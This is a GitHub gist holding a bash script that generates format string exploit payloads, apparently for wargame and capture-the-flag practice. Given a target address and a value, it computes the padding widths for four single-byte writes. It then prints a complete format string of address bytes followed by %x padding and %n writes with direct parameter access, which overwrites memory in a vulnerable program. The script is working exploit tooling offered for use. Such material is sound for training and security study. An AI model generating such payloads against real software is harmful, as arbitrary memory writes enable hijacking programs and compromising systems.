Skip to content

Instantly share code, notes, and snippets.

@pyllyukko
Last active September 26, 2015 10:31
Show Gist options
  • Save pyllyukko/75f2ba9967b9f9091461 to your computer and use it in GitHub Desktop.
Save pyllyukko/75f2ba9967b9f9091461 to your computer and use it in GitHub Desktop.
Format string calculator
#!/bin/bash
# simple format string exploit calculator for wargames etc.
declare -a values=()
declare -i dpa=6
function calculate_fmt() {
local result
if [ ${1} -le ${2} ]
then
result=$(echo $(( ( ${1} + 0x100 ) - ${2} )))
printf "(0x%.2x + 0x100)\t- 0x%.2x = 0x%x\t= %d\n" ${1} ${2} ${result} ${result} 1>&2
else
result=$(echo $(( ${1} - ${2} )))
printf "0x%.2x\t\t- 0x%.2x = 0x%x\t= %d\n" ${1} ${2} ${result} ${result} 1>&2
fi
echo "${result}"
} # calculate_fmt()
base_value=$((16#10))
# where to write
#destination_address=$((16#8049790))
destination_address=$((16#ffffd60c))
# what to write
#value=$((16#f7e62cd0))
value=$((16#8048706))
printf "base value\t= 0x%x\n" ${base_value}
printf "dest addr\t= 0x%.8x\n" ${destination_address}
printf "value\t\t= 0x%.8x\n\n" ${value}
for ((i=0; i<4; i++))
do
destination_address_byte=$(( destination_address + i ))
format_string+="\"$( printf "%.8x" ${destination_address_byte} | tac -rs.. | sed 's/\(..\)/\\x\1/g' )\"."
done
values=(
$( calculate_fmt $((value&0x000000ff)) ${base_value} )
$( calculate_fmt $(((value&0x0000ff00)>>8)) $((value&0x000000ff)) )
$( calculate_fmt $(((value&0x00ff0000)>>16)) $(((value&0x0000ff00)>>8)) )
$( calculate_fmt $(((value&0xff000000)>>24)) $(((value&0x00ff0000)>>16)) )
)
format_string+="\""
printf "\nMemory\t\t\t\t%.2x %.2x %.2x %.2x\nFirst write to 0x%.8x\t%.2x 00 00 00\nSecond write to 0x%.8x\t %.2x 00 00 00\nThird write to 0x%.8x\t %.2x 00 00 00\nFourth write to 0x%.8x\t %.2x 00 00 00\nResult\t\t\t\t%.2x %.2x %.2x %.2x\n" \
$((destination_address&0x000000ff)) \
$(((destination_address&0x000000ff)+1)) \
$(((destination_address&0x000000ff)+2)) \
$(((destination_address&0x000000ff)+3)) \
$((destination_address)) \
$((value&0x000000ff)) \
$((destination_address+1)) \
$(((value&0x0000ff00)>>8)) \
$((destination_address+2)) \
$(((value&0x00ff0000)>>16)) \
$((destination_address+3)) \
$(((value&0xff000000)>>24)) \
$((value&0x000000ff)) \
$(((value&0x0000ff00)>>8)) \
$(((value&0x00ff0000)>>16)) \
$(((value&0xff000000)>>24))
for ((i=0; i<4; i++, dpa++))
do
format_string+="%${values[i]}x%${dpa}\\\$n"
done
format_string+="\""
printf "\nformat string\t= %s\n" ${format_string}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment